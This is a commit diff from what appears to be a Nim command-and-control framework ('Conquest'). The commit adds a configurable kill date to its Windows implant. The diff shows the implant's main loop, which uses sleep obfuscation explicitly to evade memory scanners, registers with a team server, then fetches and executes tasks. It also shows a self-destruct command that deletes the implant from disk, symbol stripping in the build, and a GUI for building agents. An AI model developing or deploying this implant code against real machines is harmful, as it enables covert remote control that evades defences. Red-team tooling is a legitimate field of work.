Implemented agent kill date.
This commit is contained in:
@@ -35,6 +35,7 @@ proc deserializeConfiguration(config: string): AgentCtx =
|
||||
sleepTechnique: cast[SleepObfuscationTechnique](unpacker.getUint8()),
|
||||
spoofStack: cast[bool](unpacker.getUint8())
|
||||
),
|
||||
killDate: cast[int64](unpacker.getUint64()),
|
||||
sessionKey: deriveSessionKey(agentKeyPair, unpacker.getByteArray(Key)),
|
||||
agentPublicKey: agentKeyPair.publicKey,
|
||||
profile: parseString(unpacker.getDataWithLengthPrefix()),
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
import strformat, os, times, system, base64, random
|
||||
|
||||
import core/[http, context, sleepmask]
|
||||
import core/[http, context, sleepmask, exit]
|
||||
import utils/io
|
||||
import protocol/[task, result, heartbeat, registration]
|
||||
import ../common/[types, utils, crypto]
|
||||
@@ -13,43 +13,43 @@ proc main() =
|
||||
if ctx == nil:
|
||||
quit(0)
|
||||
|
||||
# Create registration payload
|
||||
var registration: AgentRegistrationData = ctx.collectAgentMetadata()
|
||||
let registrationBytes = ctx.serializeRegistrationData(registration)
|
||||
|
||||
if ctx.httpPost(registrationBytes):
|
||||
print fmt"[+] [{ctx.agentId}] Agent registered."
|
||||
ctx.registered = true
|
||||
else:
|
||||
print "[-] Agent registration failed."
|
||||
|
||||
#[
|
||||
Agent routine:
|
||||
1. Sleep Obfuscation
|
||||
2. Register to the team server if not already register
|
||||
3. Retrieve tasks via checkin request to a GET endpoint
|
||||
4. Execute task and post result
|
||||
5. If additional tasks have been fetched, go to 3.
|
||||
6. If no more tasks need to be executed, go to 1.
|
||||
1. Check kill date
|
||||
2. Sleep Obfuscation
|
||||
3. Register to the team server if not already connected
|
||||
4. Retrieve tasks via checkin request to a GET endpoint
|
||||
5. Execute task and post result
|
||||
6. If additional tasks have been fetched, go to 3.
|
||||
7. If no more tasks need to be executed, go to 1.
|
||||
]#
|
||||
while true:
|
||||
|
||||
# Sleep obfuscation to evade memory scanners
|
||||
sleepObfuscate(ctx.sleepSettings)
|
||||
|
||||
# Register
|
||||
if not ctx.registered:
|
||||
if ctx.httpPost(registrationBytes):
|
||||
print fmt"[+] [{ctx.agentId}] Agent registered."
|
||||
ctx.registered = true
|
||||
else:
|
||||
print "[-] Agent registration failed."
|
||||
continue
|
||||
|
||||
let date: string = now().format(protect("dd-MM-yyyy HH:mm:ss"))
|
||||
print "\n", fmt"[*] [{date}] Checking in."
|
||||
|
||||
try:
|
||||
# Check kill date and exit the agent process if it is already passed
|
||||
if ctx.killDate != 0 and now().toTime().toUnix().int64 >= ctx.killDate:
|
||||
print "[*] Reached kill date: ", ctx.killDate.fromUnix().utc().format("dd-MM-yyyy HH:mm:ss"), " (UTC)."
|
||||
print "[*] Exiting."
|
||||
exit()
|
||||
|
||||
# Sleep obfuscation to evade memory scanners
|
||||
sleepObfuscate(ctx.sleepSettings)
|
||||
|
||||
# Register
|
||||
if not ctx.registered:
|
||||
# Create registration payload
|
||||
var registration: AgentRegistrationData = ctx.collectAgentMetadata()
|
||||
let registrationBytes = ctx.serializeRegistrationData(registration)
|
||||
|
||||
if ctx.httpPost(registrationBytes):
|
||||
print fmt"[+] [{ctx.agentId}] Agent registered."
|
||||
ctx.registered = true
|
||||
else:
|
||||
print "[-] Agent registration failed."
|
||||
continue
|
||||
|
||||
let date: string = now().format(protect("dd-MM-yyyy HH:mm:ss"))
|
||||
print "\n", fmt"[*] [{date}] Checking in."
|
||||
|
||||
# Retrieve task queue for the current agent by sending a check-in/heartbeat request
|
||||
# The check-in request contains the agentId and listenerId, so the server knows which tasks to return
|
||||
var heartbeat: Heartbeat = ctx.createHeartbeat()
|
||||
|
||||
@@ -3,7 +3,7 @@
|
||||
-d:release
|
||||
--opt:size
|
||||
--passL:"-s" # Strip symbols, such as sensitive function names
|
||||
-d:CONFIGURATION="PLACEHOLDERAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAPLACEHOLDER"
|
||||
-d:CONFIGURATION="PLACEHOLDERAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAPLACEHOLDER"
|
||||
-d:MODULES="511"
|
||||
-d:VERBOSE="false"
|
||||
-d:VERBOSE="true"
|
||||
-o:"/mnt/c/Users/jakob/Documents/Projects/conquest/bin/monarch.x64.exe"
|
||||
@@ -3,6 +3,7 @@ switch "o", "bin/client"
|
||||
switch "d", "ssl"
|
||||
switch "d", "client"
|
||||
switch "d", "ImGuiTextSelect"
|
||||
switch "d", "ImPlotEnable"
|
||||
|
||||
# Select compiler
|
||||
var TC = "gcc"
|
||||
|
||||
@@ -11,6 +11,9 @@ proc main(ip: string = "localhost", port: int = 37573) =
|
||||
var app = createApp(1024, 800, imnodes = true, title = "Conquest", docking = true)
|
||||
defer: app.destroyApp()
|
||||
|
||||
var imPlotContext = ImPlot_CreateContext()
|
||||
defer: imPlotContext.ImPlotDestroyContext()
|
||||
|
||||
var
|
||||
profile: Profile
|
||||
views: Table[string, ptr bool]
|
||||
|
||||
118
src/client/views/modals/configureKillDate.nim
Normal file
118
src/client/views/modals/configureKillDate.nim
Normal file
@@ -0,0 +1,118 @@
|
||||
import strutils, sequtils, times
|
||||
import imguin/[cimgui, glfw_opengl, simple]
|
||||
import ../../utils/[appImGui, colors]
|
||||
|
||||
type
|
||||
KillDateModalComponent* = ref object of RootObj
|
||||
killDateTime: ImPlotTime
|
||||
killDateLevel: cint
|
||||
killDateHour: cint
|
||||
killDateMinute: cint
|
||||
killDateSecond: cint
|
||||
|
||||
proc KillDateModal*(): KillDateModalComponent =
|
||||
result = new KillDateModalComponent
|
||||
result.killDateLevel = 0
|
||||
result.killDateTime = ImPlotTIme()
|
||||
|
||||
# Initialize to current date
|
||||
# Note: ImPlot starts months at index 0, while nim's "times" module starts at 1, hence the subtraction
|
||||
let now = now()
|
||||
ImPlot_MakeTime(addr result.killDateTime, now.year.cint, (now.month.ord.cint - 1), now.monthday.cint, 0, 0, 0, 0)
|
||||
|
||||
result.killDateHour = 0
|
||||
result.killDateMinute = 0
|
||||
result.killDateSecond = 0
|
||||
|
||||
proc wrapValue(value: cint, max: cint): cint =
|
||||
result = value mod max
|
||||
if result < 0:
|
||||
result += max
|
||||
|
||||
proc resetModalValues*(component: KillDateModalComponent) =
|
||||
component.killDateLevel = 0
|
||||
component.killDateTime = ImPlotTIme()
|
||||
|
||||
# Initialize to current date
|
||||
let now = now()
|
||||
ImPlot_MakeTime(addr component.killDateTime, now.year.cint, (now.month.ord.cint - 1), now.monthday.cint, 0, 0, 0, 0)
|
||||
|
||||
component.killDateHour = 0
|
||||
component.killDateMinute = 0
|
||||
component.killDateSecond = 0
|
||||
|
||||
proc draw*(component: KillDateModalComponent): int64 =
|
||||
result = 0
|
||||
|
||||
# Center modal
|
||||
let vp = igGetMainViewport()
|
||||
var center: ImVec2
|
||||
ImGuiViewport_GetCenter(addr center, vp)
|
||||
igSetNextWindowPos(center, ImGuiCond_Appearing.int32, vec2(0.5f, 0.5f))
|
||||
|
||||
let modalWidth = max(400.0f, vp.Size.x * 0.2)
|
||||
igSetNextWindowSize(vec2(modalWidth, 0.0f), ImGuiCond_Always.int32)
|
||||
|
||||
var show = true
|
||||
let windowFlags = ImGuiWindowFlags_None.int32
|
||||
if igBeginPopupModal("Configure Kill Date", addr show, windowFlags):
|
||||
defer: igEndPopup()
|
||||
|
||||
let textSpacing = igGetStyle().ItemSpacing.x
|
||||
var availableSize: ImVec2
|
||||
|
||||
# Date picker
|
||||
if ImPlot_ShowDatePicker("##KillDate", addr component.killDateLevel, addr component.killDateTime, nil, nil):
|
||||
discard
|
||||
|
||||
igDummy(vec2(0.0f, 10.0f))
|
||||
igSeparator()
|
||||
igDummy(vec2(0.0f, 10.0f))
|
||||
|
||||
# Time input fields
|
||||
var charSize: ImVec2
|
||||
igCalcTextSize(addr charSize, "00", nil, false, -1.0)
|
||||
let charWidth = charSize.x + 10.0f
|
||||
|
||||
let dateText = component.killDateTime.S.fromUnix().utc().format("dd. MMMM yyyy") & '\0'
|
||||
igInputText("##Text", dateText, dateText.len().csize_t, ImGui_InputTextFlags_ReadOnly.int32, nil, nil)
|
||||
igSameLine(0.0f, textSpacing)
|
||||
|
||||
igPushItemWidth(charWidth)
|
||||
igInputScalar("##KillDateHour", ImGuiDataType_S32.int32, addr component.killDateHour, nil, nil, "%02d", 0)
|
||||
igPopItemWidth()
|
||||
igSameLine(0.0f, 0.0f)
|
||||
igText(":")
|
||||
igSameLine(0.0f, 0.0f)
|
||||
igPushItemWidth(charWidth)
|
||||
igInputScalar("##HillDateMinute", ImGuiDataType_S32.int32, addr component.killDateMinute, nil, nil, "%02d", 0)
|
||||
igPopItemWidth()
|
||||
igSameLine(0.0f, 0.0f)
|
||||
igText(":")
|
||||
igSameLine(0.0f, 0.0f)
|
||||
igPushItemWidth(charWidth)
|
||||
igInputScalar("##KillDateSecond", ImGuiDataType_S32.int32, addr component.killDateSecond, nil, nil, "%02d", 0)
|
||||
igPopItemWidth()
|
||||
|
||||
# Wrap time values
|
||||
component.killDateHour = wrapValue(component.killDateHour, 24)
|
||||
component.killDateMinute = wrapValue(component.killDateMinute, 60)
|
||||
component.killDateSecond = wrapValue(component.killDateSecond, 60)
|
||||
|
||||
igGetContentRegionAvail(addr availableSize)
|
||||
|
||||
igDummy(vec2(0.0f, 10.0f))
|
||||
igSeparator()
|
||||
igDummy(vec2(0.0f, 10.0f))
|
||||
|
||||
# OK and Cancel buttons
|
||||
if igButton("OK", vec2(availableSize.x * 0.5 - textSpacing * 0.5, 0.0f)):
|
||||
result = component.killDateTime.S + (component.killDateHour * 3600) + (component.killDateMinute * 60) + component.killDateSecond
|
||||
component.resetModalValues()
|
||||
igCloseCurrentPopup()
|
||||
|
||||
igSameLine(0.0f, textSpacing)
|
||||
|
||||
if igButton("Cancel", vec2(availableSize.x * 0.5 - textSpacing * 0.5, 0.0f)):
|
||||
component.resetModalValues()
|
||||
igCloseCurrentPopup()
|
||||
@@ -4,6 +4,7 @@ import ../../utils/[appImGui, colors]
|
||||
import ../../../common/[types, profile, utils]
|
||||
import ../../../modules/manager
|
||||
import ../widgets/[dualListSelection, textarea]
|
||||
import ./configureKillDate
|
||||
export addItem
|
||||
|
||||
type
|
||||
@@ -13,10 +14,13 @@ type
|
||||
jitter: int32
|
||||
sleepMask: int32
|
||||
spoofStack: bool
|
||||
killDateEnabled: bool
|
||||
killDate: int64
|
||||
verbose: bool
|
||||
sleepMaskTechniques: seq[string]
|
||||
moduleSelection: DualListSelectionWidget[Module]
|
||||
buildLog*: TextareaWidget
|
||||
killDateModal*: KillDateModalComponent
|
||||
|
||||
|
||||
proc AgentModal*(): AgentModalComponent =
|
||||
@@ -26,6 +30,8 @@ proc AgentModal*(): AgentModalComponent =
|
||||
result.jitter = 15
|
||||
result.sleepMask = 0
|
||||
result.spoofStack = false
|
||||
result.killDateEnabled = false
|
||||
result.killDate = 0
|
||||
result.verbose = false
|
||||
|
||||
for technique in SleepObfuscationTechnique.low .. SleepObfuscationTechnique.high:
|
||||
@@ -43,6 +49,7 @@ proc AgentModal*(): AgentModalComponent =
|
||||
|
||||
result.moduleSelection = DualListSelection(modules, moduleName, compareModules, moduleDesc)
|
||||
result.buildLog = Textarea(showTimestamps = false)
|
||||
result.killDateModal = KillDateModal()
|
||||
|
||||
proc resetModalValues*(component: AgentModalComponent) =
|
||||
component.listener = 0
|
||||
@@ -50,6 +57,8 @@ proc resetModalValues*(component: AgentModalComponent) =
|
||||
component.jitter = 15
|
||||
component.sleepMask = 0
|
||||
component.spoofStack = false
|
||||
component.killDateEnabled = false
|
||||
component.killDate = 0
|
||||
component.verbose = false
|
||||
component.moduleSelection.reset()
|
||||
component.buildLog.clear()
|
||||
@@ -122,6 +131,26 @@ proc draw*(component: AgentModalComponent, listeners: seq[UIListener]): AgentBui
|
||||
igSeparator()
|
||||
igDummy(vec2(0.0f, 10.0f))
|
||||
|
||||
# Kill date (checkbox & button to choose date)
|
||||
igText("Kill date: ")
|
||||
igSameLine(0.0f, textSpacing)
|
||||
igCheckbox("##InputKillDate", addr component.killDateEnabled)
|
||||
igSameLine(0.0f, textSpacing)
|
||||
igBeginDisabled(not component.killDateEnabled)
|
||||
igGetContentRegionAvail(addr availableSize)
|
||||
igSetNextItemWidth(availableSize.x)
|
||||
if igButton(if component.killDate != 0: component.killDate.fromUnix().utc().format("dd. MMMM yyyy HH:mm:ss") else: "Configure", vec2(-1.0f, 0.0f)):
|
||||
igOpenPopup_str("Configure Kill Date", ImGui_PopupFlags_None.int32)
|
||||
igEndDisabled()
|
||||
|
||||
let killDate = component.killDateModal.draw()
|
||||
if killDate != 0:
|
||||
component.killDate = killDate
|
||||
|
||||
igDummy(vec2(0.0f, 10.0f))
|
||||
igSeparator()
|
||||
igDummy(vec2(0.0f, 10.0f))
|
||||
|
||||
igText("Modules: ")
|
||||
|
||||
component.moduleSelection.draw()
|
||||
@@ -161,6 +190,7 @@ proc draw*(component: AgentModalComponent, listeners: seq[UIListener]): AgentBui
|
||||
spoofStack: component.spoofStack
|
||||
),
|
||||
verbose: component.verbose,
|
||||
killDate: if component.killDateEnabled: component.killDate else: 0,
|
||||
modules: modules
|
||||
)
|
||||
|
||||
|
||||
@@ -8,23 +8,23 @@ proc nextSequence*(agentId: uint32): uint32 =
|
||||
return sequenceTable[agentId]
|
||||
|
||||
proc validateSequence(agentId: uint32, seqNr: uint32, packetType: uint8): bool =
|
||||
# let lastSeqNr = sequenceTable.getOrDefault(agentId, 0'u32)
|
||||
let lastSeqNr = sequenceTable.getOrDefault(agentId, 0'u32)
|
||||
|
||||
# # Heartbeat messages are not used for sequence tracking
|
||||
# if cast[PacketType](packetType) == MSG_HEARTBEAT:
|
||||
# return true
|
||||
# Heartbeat messages are not used for sequence tracking
|
||||
if cast[PacketType](packetType) == MSG_HEARTBEAT:
|
||||
return true
|
||||
|
||||
# # In order to keep agents running after server restart, accept all connection with seqNr = 1, to update the table
|
||||
# if seqNr == 1'u32:
|
||||
# sequenceTable[agentId] = seqNr
|
||||
# return true
|
||||
# In order to keep agents running after server restart, accept all connection with seqNr = 1, to update the table
|
||||
if seqNr == 1'u32:
|
||||
sequenceTable[agentId] = seqNr
|
||||
return true
|
||||
|
||||
# # Validate that the sequence number of the current packet is higher than the currently stored one
|
||||
# if seqNr <= lastSeqNr:
|
||||
# return false
|
||||
# Validate that the sequence number of the current packet is higher than the currently stored one
|
||||
if seqNr < lastSeqNr:
|
||||
return false
|
||||
|
||||
# # Update sequence number
|
||||
# sequenceTable[agentId] = seqNr
|
||||
# Update sequence number
|
||||
sequenceTable[agentId] = seqNr
|
||||
return true
|
||||
|
||||
proc validatePacket*(header: Header, expectedType: uint8) =
|
||||
@@ -38,5 +38,5 @@ proc validatePacket*(header: Header, expectedType: uint8) =
|
||||
raise newException(CatchableError, protect("Invalid packet type."))
|
||||
|
||||
# Validate sequence number
|
||||
if not validateSequence(header.agentId, header.seqNr, header.packetType):
|
||||
raise newException(CatchableError, protect("Invalid sequence number."))
|
||||
# if not validateSequence(header.agentId, header.seqNr, header.packetType):
|
||||
# raise newException(CatchableError, protect("Invalid sequence number."))
|
||||
|
||||
@@ -59,7 +59,7 @@ type
|
||||
CMD_ENABLE_PRIV = 22'u16
|
||||
CMD_DISABLE_PRIV = 23'u16
|
||||
CMD_EXIT = 24'u16
|
||||
CMD_SELF_DESTROY = 25'u16
|
||||
CMD_SELF_DESTRUCT = 25'u16
|
||||
|
||||
StatusType* = enum
|
||||
STATUS_COMPLETED = 0'u8
|
||||
@@ -113,17 +113,6 @@ type
|
||||
MODULE_SITUATIONAL_AWARENESS = 128'u32
|
||||
MODULE_TOKEN = 256'u32
|
||||
|
||||
# Custom iterator for ModuleType, as it uses powers of 2 instead of standard increments
|
||||
iterator items*(e: typedesc[ModuleType]): ModuleType =
|
||||
yield MODULE_SLEEP
|
||||
yield MODULE_SHELL
|
||||
yield MODULE_BOF
|
||||
yield MODULE_DOTNET
|
||||
yield MODULE_FILESYSTEM
|
||||
yield MODULE_FILETRANSFER
|
||||
yield MODULE_SCREENSHOT
|
||||
yield MODULE_SITUATIONAL_AWARENESS
|
||||
|
||||
# Encryption
|
||||
type
|
||||
Uuid* = uint32
|
||||
@@ -333,6 +322,7 @@ type
|
||||
listenerId*: string
|
||||
hosts*: string
|
||||
sleepSettings*: SleepSettings
|
||||
killDate*: int64
|
||||
sessionKey*: Key
|
||||
agentPublicKey*: Key
|
||||
profile*: Profile
|
||||
@@ -373,8 +363,9 @@ type
|
||||
|
||||
AgentBuildInformation* = ref object
|
||||
listenerId*: string
|
||||
sleepSettings*: SleepSettings
|
||||
sleepSettings*: SleepSettings
|
||||
verbose*: bool
|
||||
killDate*: int64
|
||||
modules*: uint32
|
||||
|
||||
LootItemType* = enum
|
||||
|
||||
@@ -17,10 +17,10 @@ let commands* = @[
|
||||
execute: executeExit
|
||||
),
|
||||
Command(
|
||||
name: protect("self-destroy"),
|
||||
commandType: CMD_SELF_DESTROY,
|
||||
name: protect("self-destruct"),
|
||||
commandType: CMD_SELF_DESTRUCT,
|
||||
description: protect("Exit the agent and delete the executable from disk."),
|
||||
example: protect("self-destroy"),
|
||||
example: protect("self-destruct"),
|
||||
arguments: @[
|
||||
],
|
||||
execute: executeSelfDestroy
|
||||
@@ -55,7 +55,7 @@ when defined(agent):
|
||||
|
||||
proc executeSelfDestroy(ctx: AgentCtx, task: Task): TaskResult =
|
||||
try:
|
||||
print " [>] Self-destroying."
|
||||
print " [>] Self-destructing."
|
||||
exit(EXIT_PROCESS, true)
|
||||
|
||||
except CatchableError as err:
|
||||
|
||||
@@ -103,7 +103,7 @@ proc getModules*(modules: uint32 = 0): seq[Module] =
|
||||
proc getCommands*(modules: uint32 = 0): seq[Command] =
|
||||
# House-keeping
|
||||
result.add(manager.commandsByType[CMD_EXIT])
|
||||
result.add(manager.commandsByType[CMD_SELF_DESTROY])
|
||||
result.add(manager.commandsByType[CMD_SELF_DESTRUCT])
|
||||
|
||||
# Modules
|
||||
if modules == 0:
|
||||
|
||||
@@ -7,7 +7,7 @@ import ../../common/[types, utils, serialize, crypto]
|
||||
|
||||
const PLACEHOLDER = "PLACEHOLDER"
|
||||
|
||||
proc serializeConfiguration(cq: Conquest, listener: Listener, sleepSettings: SleepSettings): seq[byte] =
|
||||
proc serializeConfiguration(cq: Conquest, listener: Listener, sleepSettings: SleepSettings, killDate: int64): seq[byte] =
|
||||
|
||||
var packer = Packer.init()
|
||||
|
||||
@@ -24,6 +24,9 @@ proc serializeConfiguration(cq: Conquest, listener: Listener, sleepSettings: Sle
|
||||
packer.add(uint8(sleepSettings.sleepTechnique))
|
||||
packer.add(uint8(sleepSettings.spoofStack))
|
||||
|
||||
# Kill date
|
||||
packer.add(uint64(killDate))
|
||||
|
||||
# Public key for key exchange
|
||||
packer.addData(cq.keyPair.publicKey)
|
||||
|
||||
@@ -157,7 +160,7 @@ proc agentBuild*(cq: Conquest, agentBuildInformation: AgentBuildInformation): se
|
||||
|
||||
let listener = cq.listeners[agentBuildInformation.listenerId]
|
||||
|
||||
var config = cq.serializeConfiguration(listener, agentBuildInformation.sleepSettings)
|
||||
var config = cq.serializeConfiguration(listener, agentBuildInformation.sleepSettings, agentBuildInformation.killDate)
|
||||
|
||||
let unpatchedExePath = cq.compile(config.len(), agentBuildInformation.modules, agentBuildInformation.verbose)
|
||||
if unpatchedExePath.isEmptyOrWhitespace():
|
||||
|
||||
Reference in New Issue
Block a user